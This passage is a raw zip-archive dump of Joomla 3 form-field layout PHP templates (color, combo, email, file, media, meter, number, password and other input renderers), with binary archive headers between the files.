=> true));
JHtml::_('script',
'system/color-field-adv-init.min.js', array('version'
=> 'auto', 'relative' => true));
?>
<input type="text" name="<?php echo $name; ?>"
id="<?php echo $id; ?>" value="<?php echo
$this->escape($color); ?>"<?php
echo $hint,
$class,
$position,
$control,
$readonly,
$disabled,
$required,
$onchange,
$autocomplete,
$autofocus,
$format,
$keywords,
$direction,
$validate;
?>/>
PK�J�[�2Hq
q
"joomla/form/field/color/simple.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellchec Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $checked Is this field checked?
* @var array $position Is this field checked?
* @var array $control Is this field checked?
*/
$class = ' class="' . trim('simplecolors chzn-done
' . $class) . '"';
$disabled = $disabled ? ' disabled' : '';
$readonly = $readonly ? ' readonly' : '';
// Include jQuery
JHtml::_('jquery.framework');
JHtml::_('script', 'system/html5fallback.js',
array('version' => 'auto', 'relative'
=> true, 'conditional' => 'lt IE 9'));
JHtml::_('script', 'jui/jquery.simplecolors.min.js',
array('version' => 'auto', 'relative'
=> true));
JHtml::_('stylesheet', 'jui/jquery.simplecolors.css',
array('version' => 'auto', 'relative'
=> true));
JHtml::_('script', 'system/color-field-init.min.js',
array('version' => 'auto', 'relative'
=> true));
?>
<select data-chosen="true" name="<?php echo $name;
?>" id="<?php echo $id; ?>"<?php
echo $disabled; ?><?php echo $readonly; ?><?php echo $required;
?><?php echo $class; ?><?php echo $position; ?><?php
echo $onchange; ?><?php echo $autofocus; ?>
style="visibility:hidden;width:22px;height:1px">
<?php foreach ($colors as $i => $c) : ?>
<option<?php echo ($c == $color ? '
selected="selected"' : ''); ?>><?php echo
$c; ?></option>
<?php if (($i + 1) % $split == 0) : ?>
<option>-</option>
<?php endif; ?>
<?php endforeach; ?>
</select>
PK�J�[�{�<<joomla/form/field/combo.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2017 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $options Options available for this field.
*/
// Including fallback code for HTML5 non supported browsers.
JHtml::_('jquery.framework');
JHtml::_('script', 'system/html5fallback.js',
array('version' => 'auto', 'relative'
=> true, 'conditional' => 'lt IE 9'));
JHtml::_('behavior.combobox');
$attr = !empty($class) ? ' class="combobox ' . $class .
'"' : ' class="combobox"';
$attr .= !empty($size) ? ' size="' . $size .
'"' : '';
$attr .= !empty($readonly) ? ' readonly' : '';
$attr .= !empty($disabled) ? ' disabled' : '';
$attr .= !empty($required) ? ' required
aria-required="true"' : '';
// Initialize JavaScript field attributes.
$attr .= !empty($onchange) ? ' onchange="' . $onchange .
'"' : '';
?>
<div class="combobox input-append">
<input
type="text"
name="<?php echo $name; ?>"
id="<?php echo $id; ?>"
value="<?php echo htmlspecialchars($value, ENT_COMPAT,
'UTF-8'); ?>"
<?php echo $attr; ?>
autocomplete="off"
/>
<div class="btn-group">
<button type="button" class="btn
dropdown-toggle">
<span class="caret"></span>
</button>
<ul class="dropdown-menu">
<?php foreach ($options as $option) : ?>
<li><a href="#"><?php echo $option->text;
?></a></li>
<?php endforeach; ?>
</ul>
</div>
</div>
PK�J�[��&���$joomla/form/field/contenthistory.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Layout variables
* ---------------------
*
* @var string $item The item id number
* @var string $link The link text
* @var string $label The label text
*/
extract($displayData);
JHtml::_('behavior.modal', 'button.modal_' . $item);
?>
<button class="btn modal_<?php echo $item; ?>"
title="<?php echo $label; ?>" href="<?php echo
$link; ?>" rel="{handler: 'iframe', size: {x: 800,
y: 500}}">
<span class="icon-archive"
aria-hidden="true"></span><?php echo $label; ?>
</button>
PK�J�[�y�ƨ
�
joomla/form/field/email.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $inputType Options available for this field.
* @var array $spellcheck Options available for this field.
* @var string $accept File types that are accepted.
*/
$autocomplete = !$autocomplete ? 'autocomplete="off"' :
'autocomplete="' . $autocomplete . '"';
$autocomplete = $autocomplete == 'autocomplete="on"' ?
'' : $autocomplete;
$attributes = array(
$spellcheck ? '' : 'spellcheck="false"',
!empty($size) ? 'size="' . $size . '"' :
'',
$disabled ? 'disabled' : '',
$readonly ? 'readonly' : '',
$onchange ? 'onchange="' . $onchange . '"' :
'',
$autocomplete,
$multiple ? 'multiple' : '',
!empty($maxLength) ? 'maxlength="' . $maxLength .
'"' : '',
strlen($hint) ? 'placeholder="' . htmlspecialchars($hint,
ENT_COMPAT, 'UTF-8') . '"' : '',
$required ? 'required aria-required="true"' :
'',
$autofocus ? 'autofocus' : '',
);
// Including fallback code for HTML5 non supported browsers.
JHtml::_('jquery.framework');
JHtml::_('script', 'system/html5fallback.js',
array('version' => 'auto', 'relative'
=> true, 'conditional' => 'lt IE 9'));
?>
<input type="email" name="<?php
echo $name; ?>"<?php
echo !empty($class) ? ' class="validate-email ' . $class .
'"' : ' class="validate-email"'; ?>
id="<?php
echo $id; ?>" value="<?php
echo htmlspecialchars(JStringPunycode::emailToUTF8($value), ENT_COMPAT,
'UTF-8'); ?>"
<?php echo implode(' ', $attributes); ?> />
PK�J�[�ۼE��joomla/form/field/file.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $inputType Options available for this field.
* @var array $spellcheck Options available for this field.
* @var string $accept File types that are accepted.
*/
// Including fallback code for HTML5 non supported browsers.
JHtml::_('jquery.framework');
JHtml::_('script', 'system/html5fallback.js',
array('version' => 'auto', 'relative'
=> true, 'conditional' => 'lt IE 9'));
$maxSize = JHtml::_('number.bytes',
JUtility::getMaxUploadSize());
?>
<input type="file"
name="<?php echo $name; ?>"
id="<?php echo $id; ?>"
<?php echo !empty($size) ? ' size="' . $size .
'"' : ''; ?>
<?php echo !empty($accept) ? ' accept="' . $accept .
'"' : ''; ?>
<?php echo !empty($class) ? ' class="' . $class .
'"' : ''; ?>
<?php echo !empty($multiple) ? ' multiple' : '';
?>
<?php echo $disabled ? ' disabled' : ''; ?>
<?php echo $autofocus ? ' autofocus' : ''; ?>
<?php echo !empty($onchange) ? ' onchange="' . $onchange
. '"' : ''; ?>
<?php echo $required ? ' required
aria-required="true"' : ''; ?> /><br>
<?php echo
JText::sprintf('JGLOBAL_MAXIMUM_UPLOAD_SIZE_LIMIT', $maxSize);
?>
PK�J�[���� � joomla/form/field/hidden.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $inputType Options available for this field.
*/
// Initialize some field attributes.
$class = !empty($class) ? ' class="' . $class .
'"' : '';
$disabled = $disabled ? ' disabled' : '';
$onchange = $onchange ? ' onchange="' . $onchange .
'"' : '';
?>
<input type="hidden" name="<?php
echo $name; ?>" id="<?php
echo $id; ?>" value="<?php
echo htmlspecialchars($value, ENT_COMPAT, 'UTF-8');
?>"<?php echo $class, $disabled, $onchange; ?> />
PK�J�[�*]�joomla/form/field/media.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
*
* @var string $preview The preview image relative path
* @var integer $previewHeight The image preview height
* @var integer $previewWidth The image preview width
* @var string $asset The asset text
* @var string $authorField The label text
* @var string $folder The folder text
* @var string $link The link text
*/
extract($displayData);
// Load the modal behavior script.
JHtml::_('behavior.modal');
// Include jQuery
JHtml::_('jquery.framework');
JHtml::_('script', 'media/mediafield-mootools.min.js',
array('version' => 'auto', 'relative'
=> true, 'framework' => true));
// Tooltip for INPUT showing whole image path
$options = array(
'onShow' => 'jMediaRefreshImgpathTip',
);
JHtml::_('behavior.tooltip', '.hasTipImgpath',
$options);
if (!empty($class))
{
$class .= ' hasTipImgpath';
}
else
{
$class = 'hasTipImgpath';
}
$attr = '';
$attr .= ' title="' . htmlspecialchars('<span
id="TipImgpath"></span>', ENT_COMPAT,
'UTF-8') . '"';
// Initialize some field attributes.
$attr .= !empty($class) ? ' class="input-small field-media-input
' . $class . '"' : '
class="input-small"';
$attr .= !empty($size) ? ' size="' . $size .
'"' : '';
// Initialize JavaScript field attributes.
$attr .= !empty($onchange) ? ' onchange="' . $onchange .
'"' : '';
// The text field.
echo '<div class="input-prepend input-append">';
// The Preview.
$showPreview = true;
$showAsTooltip = false;
switch ($preview)
{
case 'no': // Deprecated parameter value
case 'false':
case 'none':
$showPreview = false;
break;
case 'yes': // Deprecated parameter value
case 'true':
case 'show':
break;
case 'tooltip':
default:
$showAsTooltip = true;
$options = array(
'onShow' => 'jMediaRefreshPreviewTip',
);
JHtml::_('behavior.tooltip', '.hasTipPreview',
$options);
break;
}
// Pre fill the contents of the popover
if ($showPreview)
{
if ($value && file_exists(JPATH_ROOT . '/' . $value))
{
$src = JUri::root() . $value;
}
else
{
$src = '';
}
$width = $previewWidth;
$height = $previewHeight;
$style = '';
$style .= ($width > 0) ? 'max-width:' . $width .
'px;' : '';
$style .= ($height > 0) ? 'max-height:' . $height .
'px;' : '';
$imgattr = array(
'id' => $id . '_preview',
'class' => 'media-preview',
'style' => $style,
);
$img = JHtml::_('image', $src,
JText::_('JLIB_FORM_MEDIA_PREVIEW_ALT'), $imgattr);
$previewImg = '<div id="' . $id .
'_preview_img"' . ($src ? '' : '
style="display:none"') . '>' . $img .
'</div>';
$previewImgEmpty = '<div id="' . $id .
'_preview_empty"' . ($src ? '
style="display:none"' : '') . '>'
. JText::_('JLIB_FORM_MEDIA_PREVIEW_EMPTY') .
'</div>';
if ($showAsTooltip)
{
echo '<div class="media-preview add-on">';
$tooltip = $previewImgEmpty . $previewImg;
$options = array(
'title' =>
JText::_('JLIB_FORM_MEDIA_PREVIEW_SELECTED_IMAGE'),
'text' => '<span class="icon-eye"
aria-hidden="true"></span>',
'class' => 'hasTipPreview'
);
echo JHtml::_('tooltip', $tooltip, $options);
echo '</div>';
}
else
{
echo '<div class="media-preview add-on"
style="height:auto">';
echo ' ' . $previewImgEmpty;
echo ' ' . $previewImg;
echo '</div>';
}
}
echo ' <input type="text" name="' . $name .
'" id="' . $id . '" value="'
. htmlspecialchars($value, ENT_COMPAT, 'UTF-8') . '"
readonly="readonly"' . $attr . '
data-basepath="'
. JUri::root() . '"/>';
?>
<a class="modal btn" title="<?php echo
JText::_('JLIB_FORM_BUTTON_SELECT'); ?>" href="
<?php echo ($readonly ? ''
: ($link ?:
'index.php?option=com_media&view=images&tmpl=component&asset='
. $asset . '&author='
. $authorField) . '&fieldid=' . $id .
'&folder=' . $folder) . '"'
. ' rel="{handler: \'iframe\', size: {x: 800, y:
500}}"'; ?>>
<?php echo JText::_('JLIB_FORM_BUTTON_SELECT');
?></a><a class="btn hasTooltip" title="<?php
echo JText::_('JLIB_FORM_BUTTON_CLEAR'); ?>"
href="#" onclick="jInsertFieldValue('',
'<?php echo $id; ?>'); return false;">
<span class="icon-remove"
aria-hidden="true"></span></a>
</div>
PK�J�[�`:%��joomla/form/field/meter.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $inputType Options available for this field.
* @var string $accept File types that are accepted.
* @var string $animated Is it animated.
* @var string $active Is it active.
* @var string $min The minimum value.
* @var string $max The maximum value.
* @var string $step The step value.
*/
// Initialize some field attributes.
$class = 'progress ' . $class;
$class .= $animated ? ' progress-striped' : '';
$class .= $active ? ' active' : '';
$class = 'class="' . $class . '"';
$value = (float) $value;
$value = $value < $min ? $min : $value;
$value = $value > $max ? $max : $value;
$data = '';
$data .= 'data-max="' . $max . '"';
$data .= ' data-min="' . $min . '"';
$data .= ' data-step="' . $step . '"';
$data .= ' data-value="' . $value . '"';
$attributes = array(
$class,
!empty($width) ? ' style="width:' . $width .
';"' : '',
$data
);
$value = ((float) ($value - $min) * 100) / ($max - $min);
?>
<div <?php echo implode(' ', $attributes); ?> >
<div class="bar" style="width: <?php
echo (string) $value; ?>%;<?php
echo !empty($color) ? ' background-color:' . $color .
';' : ''; ?>"></div>
</div>
PK�J�[S�Z�"
"
!joomla/form/field/moduleorder.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $inputType Options available for this field.
* @var array $spellcheck Options available for this field.
* @var string $accept File types that are accepted.
*/
$attr = '';
// Initialize some field attributes.
$attr .= !empty($class) ? ' class="module-ajax-ordering ' .
$class . '"' :
'class="module-ajax-ordering"';
$attr .= $disabled ? ' disabled' : '';
$attr .= !empty($size) ? ' size="' . $size .
'"' : '';
// Initialize JavaScript field attributes.
$attr .= !empty($onchange) ? ' onchange="' . $onchange .
'"' : '';
// Including fallback code for HTML5 non supported browsers.
JHtml::_('behavior.core');
JHtml::_('jquery.framework');
JHtml::_('formbehavior.chosen', 'select', null,
array('disable_search_threshold' => 0));
JHtml::_('script', 'system/moduleorder.js',
array('version' => 'auto', 'relative'
=> true));
?>
<div id="parent_<?php echo $id; ?>" <?php echo $attr;
?> data-url="<?php echo
'index.php?option=com_modules&task=module.orderPosition&'
. $token; ?>" data-element="<?php echo 'parent_'
. $id; ?>" data-ordering="<?php echo $ordering; ?>"
data-position-element="<?php
echo $element; ?>" data-client-id="<?php echo $clientId;
?>" data-module-id="<?php echo $moduleId; ?>"
data-name="<?php echo $name; ?>"></div>
PK�J�[�\Id�
�
joomla/form/field/number.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $inputType Options available for this field.
* @var array $spellcheck Options available for this field.
* @var string $accept File types that are accepted.
*/
$autocomplete = !$autocomplete ? ' autocomplete="off"'
: ' autocomplete="' . $autocomplete . '"';
$autocomplete = $autocomplete == ' autocomplete="on"' ?
'' : $autocomplete;
$attributes = array(
!empty($class) ? 'class="' . $class . '"' :
'',
!empty($size) ? 'size="' . $size . '"' :
'',
$disabled ? 'disabled' : '',
$readonly ? 'readonly' : '',
strlen($hint) ? 'placeholder="' . htmlspecialchars($hint,
ENT_COMPAT, 'UTF-8') . '"' : '',
!empty($onchange) ? 'onchange="' . $onchange .
'"' : '',
isset($max) ? 'max="' . $max . '"' :
'',
!empty($step) ? 'step="' . $step . '"' :
'',
isset($min) ? 'min="' . $min . '"' :
'',
$required ? 'required aria-required="true"' :
'',
$autocomplete,
$autofocus ? 'autofocus' : ''
);
if (is_numeric($value))
{
$value = (float) $value;
}
else
{
$value = '';
$value = ($required && isset($min)) ? $min : $value;
}
// Including fallback code for HTML5 non supported browsers.
JHtml::_('jquery.framework');
JHtml::_('script', 'system/html5fallback.js',
array('version' => 'auto', 'relative'
=> true, 'conditional' => 'lt IE 9'));
?>
<input type="number" name="<?php
echo $name; ?>" id="<?php
echo $id; ?>" value="<?php echo
htmlspecialchars($value, ENT_COMPAT, 'UTF-8'); ?>"
<?php echo implode(' ', $attributes); ?> />
PK�J�[�X�B��joomla/form/field/password.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $inputType Options available for this field.
* @var string $accept File types that are accepted.
* @var boolean $lock Is this field locked.
*/
if ($meter)
{
JHtml::_('script', 'system/passwordstrength.js',
array('version' => 'auto', 'relative'
=> true, 'framework' => true));
// Load script on document load.
JFactory::getDocument()->addScriptDeclaration(
"
jQuery(document).ready(function() {
new Form.PasswordStrength('" . $id . "',
{
threshold: " . $threshold . ",
onUpdate: function(element, strength, threshold) {
element.set('data-passwordstrength', strength);
}
});
});"
);
}
// Including fallback code for HTML5 non supported browsers.
JHtml::_('jquery.framework');
JHtml::_('script', 'system/html5fallback.js',
array('version' => 'auto', 'relative'
=> true, 'conditional' => 'lt IE 9'));
if ($lock)
{
// Load script on document load.
JFactory::getDocument()->addScriptDeclaration(
"
jQuery(document).ready(function() {
jQuery('#" . $id ."_lock').on('click',
function() {
var lockButton = jQuery(this);
var passwordInput = jQuery('#" . $id . "');
var lock = lockButton.hasClass('active');
if (lock === true) {
lockButton.html('" . JText::_('JMODIFY', true) .
"');
passwordInput.attr('disabled', true);
passwordInput.val('');
}
else
{
lockButton.html('" . JText::_('JCANCEL', true) .
"');
passwordInput.attr('disabled', false);
}
});
});"
);
$disabled = true;
$hint = str_repeat('*', strlen($value));
$value = '';
}
$attributes = array(
strlen($hint) ? 'placeholder="' . htmlspecialchars($hint,
ENT_COMPAT, 'UTF-8') . '"' : '',
!$autocomplete ? 'autocomplete="off"' : '',
!empty($class) ? 'class="' . $class . '"' :
'',
$readonly ? 'readonly' : '',
$disabled ? 'disabled' : '',
!empty($size) ? 'size="' . $size . '"' :
'',
!empty($maxLength) ? 'maxlength="' . $maxLength .
'"' : '',
$required ? 'required aria-required="true"' :
'',
$autofocus ? 'autofocus' : '',
);
?>
<?php if ($lock): ?>
<span class="input-append">
<?php endif; ?>
<input
type="password"
name="<?php echo $name; ?>"
id="<?php echo $id; ?>"
value="<?php echo htmlspecialchars($value, ENT_COMPAT,
'UTF-8'); ?>"
<?php echo implode(' ', $attributes); ?>
/>
<?php if ($lock): ?>
<button type="button" id="<?php echo $id;
?>_lock" class="btn btn-info"
data-toggle="button"><?php echo
JText::_('JMODIFY'); ?></button>
</span>
<?php endif; ?>
PK�J�[Ӵd��joomla/form/field/radio.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
